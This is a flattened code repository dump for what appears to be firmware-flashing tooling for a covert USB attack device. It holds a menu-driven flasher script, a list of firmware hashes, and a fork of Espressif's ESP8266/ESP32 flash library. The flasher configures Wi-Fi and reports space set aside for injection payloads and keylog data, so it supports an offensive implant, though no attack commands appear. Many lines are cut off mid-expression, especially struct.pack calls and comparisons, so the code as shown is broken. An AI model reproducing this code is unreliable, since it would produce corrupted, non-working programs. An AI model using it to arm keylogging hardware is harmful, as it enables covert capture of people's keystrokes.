'0x7f000', FILE_OFAT_INIT] else: command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '2MB', '-fm', 'dout', '0x1fc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT] print("\n\n") omg_flash(command) except: print("\n<<< SOMETHING FAILED WHILE FLASHING >>>") complete(1) def omg_runflash(pre_erase=False,skip_flash=False,skip_input=False,skip_reset=False): # get info mac, flash_size = get_dev_info(results.PORT_PATH) if (pre_erase and skip_flash) or FLASHER_VERSION>=2: if skip_flash: print("Attempting to factory reset (erase) device...") else: print("Attempting to clear device before flashing...") if flash_size < 0x200000: command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x8A000'] else: command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x18A000'] omg_flash(command) if not skip_flash: if not skip_input: omg_input() omg_patch(results.WIFI_SSID, results.WIFI_PASS, results.WIFI_MODE, results.FLASH_SLOTS, results.FLASH_PAYLOAD_SIZE) omg_flashfw(mac,flash_size) print("\n[ WIFI SETTINGS ]") print("\n WIFI_SSID: {SSID}\n WIFI_PASS: {PASS}\n WIFI_MODE: {MODE}\n WIFI_TYPE: {TYPE}".format(SSID=results.WIFI_SSID, PASS=results.WIFI_PASS, MODE=results.WIFI_MODE, TYPE=results.WIFI_TYPE)) print("\n[ FIRMWARE USED ]") print("\n INIT: {INIT}\n ELF0: {ELF0}\n ELF1: {ELF1}\n PAGE: {PAGE}".format(INIT=results.FILE_INIT, ELF0=results.FILE_ELF0, ELF1=results.FILE_ELF1, PAGE=results.FILE_PAGE)) if results.FLASH_SLOTS > 0: print("\n[ CUSTOM PAYLOAD CONFIGURATION ]") pp=results.FLASH_PAYLOAD_SIZE kp=abs(100-results.FLASH_PAYLOAD_SIZE) ns=int(results.FLASH_SLOTS*4) np=results.NUMBER_SLOTS print(f"\n PERCENT FLASH PAYLOAD SPACE: {pp}\n PERCENT FLASH KEYLOG SPACE: {kp} (Where Applicable)\n NUMBER OF PAYLOADS: {np}\n SIZE OF PAYLOAD SLOTS: {ns}k\n ") # attempt to always erase settings if not skip_reset: omg_reset_settings() def get_script_path(): return os.path.dirname(os.path.realpath(sys.argv[0])) if __name__ == '__main__': signal(SIGINT, handler) print("\n" + VERSION) print("\n" + UPDATES) print("\n" + MOTD + "\n") results = omg_results() baudrate = '115200' thedirectory = get_script_path() os.chdir(thedirectory) omg_tos() omg_dependency_imports() results.OS_DETECTED = platform.system().upper() omg_locate() omg_reset_settings() omg_probe() if FLASHER_VERSION_DETECT: FLASHER_VERSION = ask_for_flasherhwver() MENU_MODE = '' SANITIZED_SELECTION = False while not SANITIZED_SELECTION: try: menu_options = [ 'FLASH NEW FIRMWARE', 'FACTORY RESET', 'FIRMWARE UPGRADE - BATCH MODE', 'FACTORY RESET - BATCH MODE', 'BACKUP DEVICE', 'DOWNLOAD FIRMWARE UPDATES', 'EXIT FLASHER', ] print("Available Options \n") i = 1 for menu_option in menu_options: print(i," ",menu_option,end="") if i == 1: print(" (DEFAULT)") else: print("") i+=1 menu_options = [''] MENU_MODE = str(input("Select Option: ")).replace(" ","") if MENU_MODE == '1' or MENU_MODE == '2' or MENU_MODE == '3' or MENU_MODE == '4' or MENU_MODE == '5' or MENU_MODE == '6' or MENU_MODE == '7' or MENU_MODE == '8': SANITIZED_SELECTION = True except: pass # handle python serial exceptions here try: if MENU_MODE == '1': print("\nFIRMWARE UPGRADE") omg_runflash() print("\n<<< FIRMWARE PROCESS FINISHED, REMOVE DEVICE >>>\n") elif MENU_MODE == '2': print("\nFACTORY RESET") omg_runflash(True,True) elif MENU_MODE == '3': baudrate = '460800' print("\nFIRMWARE UPGRADE - BATCH MODE") omg_input() repeating = '' while repeating != 'e': omg_runflash(True,skip_input=True,skip_reset=True) repeating = input("\n\n<<< PRESS ENTER TO UPGRADE NEXT DEVICE, OR 'E' TO EXIT >>>\n") omg_reset_settings() complete(0) elif MENU_MODE == '4': baudrate = '460800' print("\nFACTORY RESET - BATCH MODE") omg_input() repeating = '' while repeating != 'e': omg_runflash(True,True,skip_input=True,skip_reset=True) repeating = input("\n\n<<< PRESS ENTER TO RESTORE NEXT DEVICE, OR 'E' TO EXIT >>>\n") elif MENU_MODE == '5': print("\nBACKUP DEVICE") mac, flash_size = get_dev_info(results.PORT_PATH) filename = "backup-{MACLOW}-{TIMESTAMP}.img".format(MACLOW="".join([hex(m).lstrip("0x") for m in mac]).lower(),TIMESTAMP=int(time())) if flash_size < 0x200000: command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x100000', filename] else: command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x200000', filename] omg_flash(command) print('Backup written to ', filename) elif MENU_MODE == '6': print("Attempting to update flash data...") d = omg_fetch_latest_firmware(True,FIRMWARE_DIR) if d is not None and len(d) > 1: print("\n<<< LOAD SUCCESS. RELOADING DATA >>>\n\n") else: print("\n<<< LOAD FAILED. PLEASE MANUALLY DOWNLOAD FIRMWARE AND PLACE IN '%s' >>>\n\n"%FIRMWARE_DIR) complete(0) elif MENU_MODE == '7': print("<<< GOODBYE. FLASHER EXITING >>> ") sys.exit(0) else: print("<<< NO VALID INPUT WAS DETECTED. >>>") except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e: print("<<< FATAL ERROR: %s. PLEASE DISCONNECT AND RECONNECT DEVICE AND START TASK AGAIN >>>"%str(e)) sys.exit(1) # special case complete(0) ================================================ FILE: hashes.txt ================================================ f3cc103136423a57975750907ebc1d367e2985ac6338976d4d5a439f50323f4a firmware/blank-settings.bin f47a8ec3e9aff2318d896942282ad4fe37d6391c82914f54a5da8a37de1300c6 firmware/blank.bin b2218087cf938ce665b26ac049f7d146677c70fe2909205a4d0e6a58aef0e4b3 firmware/esp_init_data_default_v08.bin 3a6c59c9d9b6ee2b2e64531f75b7ea2367b7568c2a000ac0121f7d64bd0b31c4 firmware/image.elf-0x00000.bin aa3bf523b84f5126e67ef5d619a0b86ce68f6fb0225655cafde1d9fcfbc38c57 firmware/image.elf-0x10000.bin dd76918d1d69e029947ec9b45151548a4bf3fe5cb5f1f1e40042927f4aa90fb3 firmware/page.mpfs ================================================ FILE: scripts/flashapi.py ================================================ #!/usr/bin/env python # # Copyright (C) Fredrik Ahlberg, Angus Gratton, Espressif Systems (Shanghai) PTE LTD, # Mischief Gadgets, LLC, other contributors as noted. # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; either version 2 of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 51 Franklin # Street, Fifth Floor, Boston, MA 02110-1301 USA. from __future__ import division, print_function import argparse import base64 import binascii import copy import hashlib import inspect import io import os import shlex import string import struct import sys import time import zlib try: import serial except ImportError: print("Pyserial is not installed for %s. Check the README for installation instructions." % (sys.executable)) raise try: if "serialization" in serial.__doc__ and "deserialization" in serial.__doc__: raise ImportError(""" flashapi.py depends on pyserial, but there is a conflict with a currently installed package named 'serial'. You may be able to work around this by 'pip uninstall serial; pip install pyserial' \ but this may break other installed Python software that depends on 'serial'. There is no good fix for this right now, apart from configuring virtualenvs.""") except TypeError: pass try: import serial.tools.list_ports as list_ports except ImportError: print("The installed version (%s) of pyserial appears to be too old for flashapi.py (Python interpreter %s). " "Check the README for installation instructions." % (sys.VERSION, sys.executable)) raise __version__ = "2.7-dev" MAX_UINT32 = 0xffffffff MAX_UINT24 = 0xffffff DEFAULT_TIMEOUT = 3 START_FLASH_TIMEOUT = 20 CHIP_ERASE_TIMEOUT = 120 MAX_TIMEOUT = CHIP_ERASE_TIMEOUT * 2 SYNC_TIMEOUT = 0.1 MD5_TIMEOUT_PER_MB = 8 ERASE_REGION_TIMEOUT_PER_MB = 30 MEM_END_ROM_TIMEOUT = 0.05 DEFAULT_SERIAL_WRITE_TIMEOUT = 10 def timeout_per_mb(seconds_per_mb, size_bytes): result = seconds_per_mb * (size_bytes / 1e6) if result < DEFAULT_TIMEOUT: return DEFAULT_TIMEOUT return result DETECTED_FLASH_SIZES = {0x12: '256KB', 0x13: '512KB', 0x14: '1MB', 0x15: '2MB', 0x16: '4MB', 0x17: '8MB', 0x18: '16MB'} def check_supported_function(func, check_func): def inner(*args, **kwargs): obj = args[0] if check_func(obj): return func(*args, **kwargs) else: raise NotImplementedInROMError(obj, func) return inner def stub_function_only(func): return check_supported_function(func, lambda o: o.IS_STUB) def stub_and_esp32_function_only(func): return check_supported_function(func, lambda o: o.IS_STUB or o.CHIP_NAME == "ESP32") PYTHON2 = sys.version_info[0] < 3 if PYTHON2: def byte(bitstr, index): return ord(bitstr[index]) else: def byte(bitstr, index): return bitstr[index] try: basestring except NameError: basestring = str def _mask_to_shift(mask): shift = 0 while mask & 0x1 == 0: shift += 1 mask >>= 1 return shift def esp8266_function_only(func): return check_supported_function(func, lambda o: o.CHIP_NAME == "ESP8266") class ESPLoader(object): CHIP_NAME = "Espressif device" IS_STUB = False DEFAULT_PORT = "/dev/ttyUSB0" ESP_FLASH_BEGIN = 0x02 ESP_FLASH_DATA = 0x03 ESP_FLASH_END = 0x04 ESP_MEM_BEGIN = 0x05 ESP_MEM_END = 0x06 ESP_MEM_DATA = 0x07 ESP_SYNC = 0x08 ESP_WRITE_REG = 0x09 ESP_READ_REG = 0x0a ESP_SPI_SET_PARAMS = 0x0B ESP_SPI_ATTACH = 0x0D ESP_CHANGE_BAUDRATE = 0x0F ESP_FLASH_DEFL_BEGIN = 0x10 ESP_FLASH_DEFL_DATA = 0x11 ESP_FLASH_DEFL_END = 0x12 ESP_SPI_FLASH_MD5 = 0x13 ESP_ERASE_FLASH = 0xD0 ESP_ERASE_REGION = 0xD1 ESP_READ_FLASH = 0xD2 ESP_RUN_USER_CODE = 0xD3 ESP_FLASH_ENCRYPT_DATA = 0xD4 ESP_RAM_BLOCK = 0x1800 FLASH_WRITE_SIZE = 0x400 ESP_ROM_BAUD = 115200 ESP_IMAGE_MAGIC = 0xe9 ESP_CHECKSUM_MAGIC = 0xef FLASH_SECTOR_SIZE = 0x1000 UART_DATA_REG_ADDR = 0x60000078 UART_CLKDIV_MASK = 0xFFFFF IROM_MAP_START = 0x40200000 IROM_MAP_END = 0x40300000 STATUS_BYTES_LENGTH = 2 def __init__(self, port=DEFAULT_PORT, baud=ESP_ROM_BAUD, trace_enabled=False): if isinstance(port, basestring): self._port = serial.serial_for_url(port) else: self._port = port self._slip_reader = slip_reader(self._port, self.trace) self._set_port_baudrate(baud) self._trace_enabled = trace_enabled try: self._port.write_timeout = DEFAULT_SERIAL_WRITE_TIMEOUT except NotImplementedError: self._port.write_timeout = None def _set_port_baudrate(self, baud): try: self._port.baudrate = baud except IOError: raise FatalError("Failed to set baud rate %d. The driver may not support this rate." % baud) @staticmethod def detect_chip(port=DEFAULT_PORT, baud=ESP_ROM_BAUD, connect_mode='default_reset', trace_enabled=False): detect_port = ESPLoader(port, baud, trace_enabled=trace_enabled) detect_port.connect(connect_mode) try: sys.stdout.flush() date_reg = detect_port.read_reg(ESPLoader.UART_DATA_REG_ADDR) for cls in [ESP8266ROM, ESP32ROM]: if date_reg == cls.DATE_REG_VALUE: inst = cls(detect_port._port, baud, trace_enabled=trace_enabled) return inst finally: print('...Connected.') raise FatalError("Unexpected UART datecode value 0x%08x. Failed to autodetect chip type." % date_reg) def read(self): return next(self._slip_reader) def write(self, packet): buf = b'\xc0' \ + (packet.replace(b'\xdb', b'\xdb\xdd').replace(b'\xc0', b'\xdb\xdc')) \ + b'\xc0' self.trace("Write %d bytes: %s", len(buf), HexFormatter(buf)) self._port.write(buf) def trace(self, message, *format_args): if self._trace_enabled: now = time.time() try: delta = now - self._last_trace except AttributeError: delta = 0.0 self._last_trace = now prefix = "TRACE +%.3f " % delta print(prefix + (message % format_args)) @staticmethod def checksum(data, state=ESP_CHECKSUM_MAGIC): for b in data: if type(b) is int: state ^= b else: state ^= ord(b) return state def command(self, op=None, data=b"", chk=0, wait_response=True, timeout=DEFAULT_TIMEOUT): saved_timeout = self._port.timeout new_timeout = min(timeout, MAX_TIMEOUT) if new_timeout != saved_timeout: self._port.timeout = new_timeout try: if op is not None: self.trace("command op=0x%02x data len=%s wait_response=%d timeout=%.3f data=%s", op, len(data), 1 if wait_response else 0, timeout, HexFormatter(data)) pkt = struct.pack(b' self.STATUS_BYTES_LENGTH: return data[:-self.STATUS_BYTES_LENGTH] else: return val def flush_input(self): self._port.flushInput() self._slip_reader = slip_reader(self._port, self.trace) def sync(self): self.command(self.ESP_SYNC, b'\x07\x07\x12\x20' + 32 * b'\x55', timeout=SYNC_TIMEOUT) for i in range(7): self.command() def _setDTR(self, state): self._port.setDTR(state) def _setRTS(self, state): self._port.setRTS(state) self._port.setDTR(self._port.dtr) def _connect_attempt(self, mode='default_reset', esp32r0_delay=False): # # last_error = None if mode == "no_reset_no_sync": return last_error # if mode != 'no_reset': self._setDTR(False) self._setRTS(True) time.sleep(0.1) if esp32r0_delay: time.sleep(1.2) self._setDTR(True) self._setRTS(False) if esp32r0_delay: time.sleep(0.4) time.sleep(0.05) self._setDTR(False) for _ in range(5): try: self.flush_input() self._port.flushOutput() self.sync() return None except FatalError as e: if esp32r0_delay: print('_', end='') else: print('.', end='') sys.stdout.flush() time.sleep(0.05) last_error = e return last_error def connect(self, mode='default_reset'): print('Connecting...', end='') sys.stdout.flush() last_error = None try: for _ in range(7): last_error = self._connect_attempt(mode=mode, esp32r0_delay=False) if last_error is None: return last_error = self._connect_attempt(mode=mode, esp32r0_delay=True) if last_error is None: return finally: print('') raise FatalError( 'ERROR: A programmer is detected, but no cable seems plugged in. Please try unplugging and replugging the cable and/or programmer. Please also make sure only one programmer is connected. (%s)' % (last_error)) def read_reg(self, addr): val, data = self.command(self.ESP_READ_REG, struct.pack(' start: raise FatalError(("Software loader is resident at 0x%08x-0x%08x. " + "Can't load binary at overlapping address range 0x%08x-0x%08x. " + "Either change binary loading address, or use the --no-stub " + "option to disable the software loader.") % (start, end, load_start, load_end)) return self.check_command("enter RAM download mode", self.ESP_MEM_BEGIN, struct.pack(' length: raise FatalError('Read more than expected') digest_frame = self.read() if len(digest_frame) != 16: raise FatalError('Expected digest, got: %s' % hexify(digest_frame)) expected_digest = hexify(digest_frame).upper() digest = hashlib.md5(data).hexdigest().upper() if digest != expected_digest: raise FatalError('Digest mismatch: expected %s, got %s' % (expected_digest, digest)) return data def flash_spi_attach(self, hspi_arg): arg = struct.pack(' 0: self.write_reg(SPI_MOSI_DLEN_REG, mosi_bits - 1) if miso_bits > 0: self.write_reg(SPI_MISO_DLEN_REG, miso_bits - 1) else: def set_data_lengths(mosi_bits, miso_bits): SPI_DATA_LEN_REG = SPI_USR1_REG SPI_MOSI_BITLEN_S = 17 SPI_MISO_BITLEN_S = 8 mosi_mask = 0 if (mosi_bits == 0) else (mosi_bits - 1) miso_mask = 0 if (miso_bits == 0) else (miso_bits - 1) self.write_reg(SPI_DATA_LEN_REG, (miso_mask << SPI_MISO_BITLEN_S) | ( mosi_mask << SPI_MOSI_BITLEN_S)) SPI_CMD_USR = (1 << 18) SPI_USR2_DLEN_SHIFT = 28 if read_bits > 32: raise FatalError("Reading more than 32 bits back from a SPI flash operation is unsupported") if len(data) > 64: raise FatalError("Writing more than 64 bytes of data with one SPI command is unsupported") data_bits = len(data) * 8 old_spi_usr = self.read_reg(SPI_USR_REG) old_spi_usr2 = self.read_reg(SPI_USR2_REG) flags = SPI_USR_COMMAND if read_bits > 0: flags |= SPI_USR_MISO if data_bits > 0: flags |= SPI_USR_MOSI set_data_lengths(data_bits, read_bits) self.write_reg(SPI_USR_REG, flags) self.write_reg(SPI_USR2_REG, (7 << SPI_USR2_DLEN_SHIFT) | spiflash_command) if data_bits == 0: self.write_reg(SPI_W0_REG, 0) else: data = pad_to(data, 4, b'\00') words = struct.unpack("I" * (len(data) // 4), data) next_reg = SPI_W0_REG for word in words: self.write_reg(next_reg, word) next_reg += 4 self.write_reg(SPI_CMD_REG, SPI_CMD_USR) def wait_done(): for _ in range(10): if (self.read_reg(SPI_CMD_REG) & SPI_CMD_USR) == 0: return raise FatalError("SPI command did not complete in time") wait_done() status = self.read_reg(SPI_W0_REG) self.write_reg(SPI_USR_REG, old_spi_usr) self.write_reg(SPI_USR2_REG, old_spi_usr2) return status def read_status(self, num_bytes=2): SPIFLASH_RDSR = 0x05 SPIFLASH_RDSR2 = 0x35 SPIFLASH_RDSR3 = 0x15 status = 0 shift = 0 for cmd in [SPIFLASH_RDSR, SPIFLASH_RDSR2, SPIFLASH_RDSR3][0:num_bytes]: status += self.run_spiflash_command(cmd, read_bits=8) << shift shift += 8 return status def write_status(self, new_status, num_bytes=2, set_non_volatile=False): SPIFLASH_WRSR = 0x01 SPIFLASH_WRSR2 = 0x31 SPIFLASH_WRSR3 = 0x11 SPIFLASH_WEVSR = 0x50 SPIFLASH_WREN = 0x06 SPIFLASH_WRDI = 0x04 enable_cmd = SPIFLASH_WREN if set_non_volatile else SPIFLASH_WEVSR if num_bytes == 2: self.run_spiflash_command(enable_cmd) self.run_spiflash_command(SPIFLASH_WRSR, struct.pack(">= 8 self.run_spiflash_command(SPIFLASH_WRDI) def get_crystal_freq(self): # uart_div = self.read_reg(self.UART_CLKDIV_REG) & self.UART_CLKDIV_MASK est_xtal = (self._port.baudrate * uart_div) / 1e6 / self.XTAL_CLK_DIVIDER norm_xtal = 40 if est_xtal > 33 else 26 if abs(norm_xtal - est_xtal) > 1: print("WARNING: Detected crystal freq %.2fMHz is quite different to normalized freq %dMHz. Unsupported crystal in use?" % (est_xtal, norm_xtal)) return norm_xtal def hard_reset(self): self._setRTS(True) time.sleep(0.1) self._setRTS(False) def soft_reset(self, stay_in_bootloader): if not self.IS_STUB: if stay_in_bootloader: return else: self.flash_begin(0, 0) self.flash_finish(False) else: if stay_in_bootloader: self.flash_begin(0, 0) self.flash_finish(True) elif self.CHIP_NAME != "ESP8266": raise FatalError("Soft resetting is currently only supported on ESP8266") else: self.command(self.ESP_RUN_USER_CODE, wait_response=False) class ESP8266ROM(ESPLoader): CHIP_NAME = "ESP8266" IS_STUB = False DATE_REG_VALUE = 0x00062000 ESP_OTP_MAC0 = 0x3ff00050 ESP_OTP_MAC1 = 0x3ff00054 ESP_OTP_MAC3 = 0x3ff0005c SPI_REG_BASE = 0x60000200 SPI_W0_OFFS = 0x40 SPI_HAS_MOSI_DLEN_REG = False UART_CLKDIV_REG = 0x60000014 XTAL_CLK_DIVIDER = 2 FLASH_SIZES = { '512KB': 0x00, '256KB': 0x10, '1MB': 0x20, '2MB': 0x30, '4MB': 0x40, '2MB-c1': 0x50, '4MB-c1': 0x60, '8MB': 0x80, '16MB': 0x90, } BOOTLOADER_FLASH_OFFSET = 0 def get_efuses(self): return (self.read_reg(0x3ff0005c) << 96 | self.read_reg(0x3ff00058) << 64 | self.read_reg(0x3ff00054) << 32 | self.read_reg(0x3ff00050)) def get_chip_description(self): efuses = self.get_efuses() is_8285 = (efuses & ((1 << 4) | 1 << 80)) != 0 return "ESP8285" if is_8285 else "ESP8266EX" def get_chip_features(self): features = ["WiFi"] if self.get_chip_description() == "ESP8285": features += ["Embedded Flash"] return features def flash_spi_attach(self, hspi_arg): if self.IS_STUB: super(ESP8266ROM, self).flash_spi_attach(hspi_arg) else: self.flash_begin(0, 0) def flash_set_parameters(self, size): if self.IS_STUB: super(ESP8266ROM, self).flash_set_parameters(size) def chip_id(self): id0 = self.read_reg(self.ESP_OTP_MAC0) id1 = self.read_reg(self.ESP_OTP_MAC1) return (id0 >> 24) | ((id1 & MAX_UINT24) << 8) def read_mac(self): mac0 = self.read_reg(self.ESP_OTP_MAC0) mac1 = self.read_reg(self.ESP_OTP_MAC1) mac3 = self.read_reg(self.ESP_OTP_MAC3) if (mac3 != 0): oui = ((mac3 >> 16) & 0xff, (mac3 >> 8) & 0xff, mac3 & 0xff) elif ((mac1 >> 16) & 0xff) == 0: oui = (0x18, 0xfe, 0x34) elif ((mac1 >> 16) & 0xff) == 1: oui = (0xac, 0xd0, 0x74) else: raise FatalError("Unknown OUI") return oui + ((mac1 >> 8) & 0xff, mac1 & 0xff, (mac0 >> 24) & 0xff) def get_erase_size(self, offset, size): sectors_per_block = 16 sector_size = self.FLASH_SECTOR_SIZE num_sectors = (size + sector_size - 1) // sector_size start_sector = offset // sector_size head_sectors = sectors_per_block - (start_sector % sectors_per_block) if num_sectors < head_sectors: head_sectors = num_sectors if num_sectors < 2 * head_sectors: return (num_sectors + 1) // 2 * sector_size else: return (num_sectors - head_sectors) * sector_size def override_vddsdio(self, new_voltage): raise NotImplementedInROMError("Overriding VDDSDIO setting only applies to ESP32") class ESP8266StubLoader(ESP8266ROM): FLASH_WRITE_SIZE = 0x4000 IS_STUB = True def __init__(self, rom_loader): self._port = rom_loader._port self._trace_enabled = rom_loader._trace_enabled self.flush_input() def get_erase_size(self, offset, size): return size ESP8266ROM.STUB_CLASS = ESP8266StubLoader class ESP32ROM(ESPLoader): CHIP_NAME = "ESP32" IS_STUB = False DATE_REG_VALUE = 0x15122500 IROM_MAP_START = 0x400d0000 IROM_MAP_END = 0x40400000 DROM_MAP_START = 0x3F400000 DROM_MAP_END = 0x3F800000 STATUS_BYTES_LENGTH = 4 SPI_REG_BASE = 0x60002000 EFUSE_REG_BASE = 0x6001a000 SPI_W0_OFFS = 0x80 SPI_HAS_MOSI_DLEN_REG = True UART_CLKDIV_REG = 0x3ff40014 XTAL_CLK_DIVIDER = 1 FLASH_SIZES = { '1MB': 0x00, '2MB': 0x10, '4MB': 0x20, '8MB': 0x30, '16MB': 0x40 } BOOTLOADER_FLASH_OFFSET = 0x1000 OVERRIDE_VDDSDIO_CHOICES = ["1.8V", "1.9V", "OFF"] def is_flash_encryption_key_valid(self): word0 = self.read_efuse(0) rd_disable = (word0 >> 16) & 0x1 if rd_disable: return True else: key_word = [0] * 7 for i in range(len(key_word)): key_word[i] = self.read_efuse(14 + i) if key_word[i] != 0: return True return False def get_flash_crypt_config(self): word0 = self.read_efuse(0) rd_disable = (word0 >> 19) & 0x1 if rd_disable == 0: word5 = self.read_efuse(5) word5 = (word5 >> 28) & 0xF return word5 else: return 0xF def get_chip_description(self): word3 = self.read_efuse(3) chip_ver_rev1 = (word3 >> 15) & 0x1 pkg_version = (word3 >> 9) & 0x07 chip_name = { 0: "ESP32D0WDQ6", 1: "ESP32D0WDQ5", 2: "ESP32D2WDQ5", 5: "ESP32-PICO-D4", }.get(pkg_version, "unknown ESP32") return "%s (revision %d)" % (chip_name, chip_ver_rev1) def get_chip_features(self): features = ["WiFi"] word3 = self.read_efuse(3) chip_ver_dis_bt = word3 & (1 << 1) if chip_ver_dis_bt == 0: features += ["BT"] chip_ver_dis_app_cpu = word3 & (1 << 0) if chip_ver_dis_app_cpu: features += ["Single Core"] else: features += ["Dual Core"] chip_cpu_freq_rated = word3 & (1 << 13) if chip_cpu_freq_rated: chip_cpu_freq_low = word3 & (1 << 12) if chip_cpu_freq_low: features += ["160MHz"] else: features += ["240MHz"] pkg_version = (word3 >> 9) & 0x07 if pkg_version in [2, 4, 5]: features += ["Embedded Flash"] word4 = self.read_efuse(4) adc_vref = (word4 >> 8) & 0x1F if adc_vref: features += ["VRef calibration in efuse"] blk3_part_res = word3 >> 14 & 0x1 if blk3_part_res: features += ["BLK3 partially reserved"] word6 = self.read_efuse(6) coding_scheme = word6 & 0x3 features += ["Coding Scheme %s" % { 0: "None", 1: "3/4", 2: "Repeat (UNSUPPORTED)", 3: "Invalid"}[coding_scheme]] return features def read_efuse(self, n): return self.read_reg(self.EFUSE_REG_BASE + (4 * n)) def chip_id(self): raise NotSupportedError(self, "chip_id") def read_mac(self): words = [self.read_efuse(2), self.read_efuse(1)] bitstring = struct.pack(">II", *words) bitstring = bitstring[2:8] try: return tuple(ord(b) for b in bitstring) except TypeError: return tuple(bitstring) def get_erase_size(self, offset, size): return size def override_vddsdio(self, new_voltage): new_voltage = new_voltage.upper() if new_voltage not in self.OVERRIDE_VDDSDIO_CHOICES: raise FatalError("The only accepted VDDSDIO overrides are '1.8V', '1.9V' and 'OFF'") RTC_CNTL_SDIO_CONF_REG = 0x3ff48074 RTC_CNTL_XPD_SDIO_REG = (1 << 31) RTC_CNTL_DREFH_SDIO_M = (3 << 29) RTC_CNTL_DREFM_SDIO_M = (3 << 27) RTC_CNTL_DREFL_SDIO_M = (3 << 25) RTC_CNTL_SDIO_FORCE = (1 << 22) RTC_CNTL_SDIO_PD_EN = (1 << 21) reg_val = RTC_CNTL_SDIO_FORCE reg_val |= RTC_CNTL_SDIO_PD_EN if new_voltage != "OFF": reg_val |= RTC_CNTL_XPD_SDIO_REG if new_voltage == "1.9V": reg_val |= (RTC_CNTL_DREFH_SDIO_M | RTC_CNTL_DREFM_SDIO_M | RTC_CNTL_DREFL_SDIO_M) self.write_reg(RTC_CNTL_SDIO_CONF_REG, reg_val) print("VDDSDIO regulator set to %s" % new_voltage) class ESP32StubLoader(ESP32ROM): FLASH_WRITE_SIZE = 0x4000 STATUS_BYTES_LENGTH = 2 IS_STUB = True def __init__(self, rom_loader): self._port = rom_loader._port self._trace_enabled = rom_loader._trace_enabled self.flush_input() ESP32ROM.STUB_CLASS = ESP32StubLoader class ESPBOOTLOADER(object): IMAGE_V2_MAGIC = 0xea IMAGE_V2_SEGMENT = 4 def LoadFirmwareImage(chip, filename): with open(filename, 'rb') as f: if chip.lower() == 'esp32': return ESP32FirmwareImage(f) else: magic = ord(f.read(1)) f.seek(0) if magic == ESPLoader.ESP_IMAGE_MAGIC: return ESP8266ROMFirmwareImage(f) elif magic == ESPBOOTLOADER.IMAGE_V2_MAGIC: return ESP8266V2FirmwareImage(f) else: raise FatalError("Invalid image magic number: %d" % magic) class ImageSegment(object): def __init__(self, addr, data, file_offs=None): self.addr = addr self.data = data self.file_offs = file_offs self.include_in_checksum = True if self.addr != 0: self.pad_to_alignment(4) def copy_with_new_addr(self, new_addr): return ImageSegment(new_addr, self.data, 0) def split_image(self, split_len): result = copy.copy(self) result.data = self.data[:split_len] self.data = self.data[split_len:] self.addr += split_len self.file_offs = None result.file_offs = None return result def __repr__(self): r = "len 0x%05x load 0x%08x" % (len(self.data), self.addr) if self.file_offs is not None: r += " file_offs 0x%08x" % (self.file_offs) return r def pad_to_alignment(self, alignment): self.data = pad_to(self.data, alignment, b'\x00') class ELFSection(ImageSegment): def __init__(self, name, addr, data): super(ELFSection, self).__init__(addr, data) self.name = name.decode("utf-8") def __repr__(self): return "%s %s" % (self.name, super(ELFSection, self).__repr__()) class BaseFirmwareImage(object): SEG_HEADER_LEN = 8 SHA256_DIGEST_LEN = 32 def __init__(self): self.segments = [] self.entrypoint = 0 self.elf_sha256 = None self.elf_sha256_offset = 0 def load_common_header(self, load_file, expected_magic): (magic, segments, self.flash_mode, self.flash_size_freq, self.entrypoint) = struct.unpack(' 16: raise FatalError('Invalid segment count %d (max 16). Usually this indicates a linker script problem.' % len(self.segments)) def load_segment(self, f, is_irom_segment=False): file_offs = f.tell() (offset, size) = struct.unpack(' 0x40200000 or offset < 0x3ffe0000 or size > 65536: print('WARNING: Suspicious segment 0x%x, length %d' % (offset, size)) def maybe_patch_segment_data(self, f, segment_data): segment_len = len(segment_data) file_pos = f.tell() if self.elf_sha256_offset >= file_pos and self.elf_sha256_offset < file_pos + segment_len: patch_offset = self.elf_sha256_offset - file_pos if patch_offset < self.SEG_HEADER_LEN or patch_offset + self.SHA256_DIGEST_LEN > segment_len: raise FatalError('Cannot place SHA256 digest on segment boundary' + '(elf_sha256_offset=%d, file_pos=%d, segment_size=%d)' % (self.elf_sha256_offset, file_pos, segment_len)) if segment_data[patch_offset:patch_offset + self.SHA256_DIGEST_LEN] != b'\x00' * self.SHA256_DIGEST_LEN: raise FatalError('Contents of segment at SHA256 digest offset 0x%x are not all zero. Refusing to overwrite.' % self.elf_sha256_offset) assert (len(self.elf_sha256) == self.SHA256_DIGEST_LEN) patch_offset -= self.SEG_HEADER_LEN segment_data = segment_data[0:patch_offset] + self.elf_sha256 + \ segment_data[patch_offset + self.SHA256_DIGEST_LEN:] return segment_data def save_segment(self, f, segment, checksum=None): segment_data = self.maybe_patch_segment_data(f, segment.data) f.write(struct.pack(' 0: if len(irom_segments) != 1: raise FatalError('Found %d segments that could be irom0. Bad ELF file?' % len(irom_segments)) return irom_segments[0] return None def get_non_irom_segments(self): irom_segment = self.get_irom_segment() return [s for s in self.segments if s != irom_segment] class ESP8266ROMFirmwareImage(BaseFirmwareImage): ROM_LOADER = ESP8266ROM def __init__(self, load_file=None): super(ESP8266ROMFirmwareImage, self).__init__() self.flash_mode = 0 self.flash_size_freq = 0 self.version = 1 if load_file is not None: segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC) for _ in range(segments): self.load_segment(load_file) self.checksum = self.read_checksum(load_file) self.verify() def default_output_name(self, input_file): return input_file + '-' def save(self, basename): irom_segment = self.get_irom_segment() if irom_segment is not None: with open("%s0x%05x.bin" % (basename, irom_segment.addr - ESP8266ROM.IROM_MAP_START), "wb") as f: f.write(irom_segment.data) normal_segments = self.get_non_irom_segments() with open("%s0x00000.bin" % basename, 'wb') as f: self.write_common_header(f, normal_segments) checksum = ESPLoader.ESP_CHECKSUM_MAGIC for segment in normal_segments: checksum = self.save_segment(f, segment, checksum) 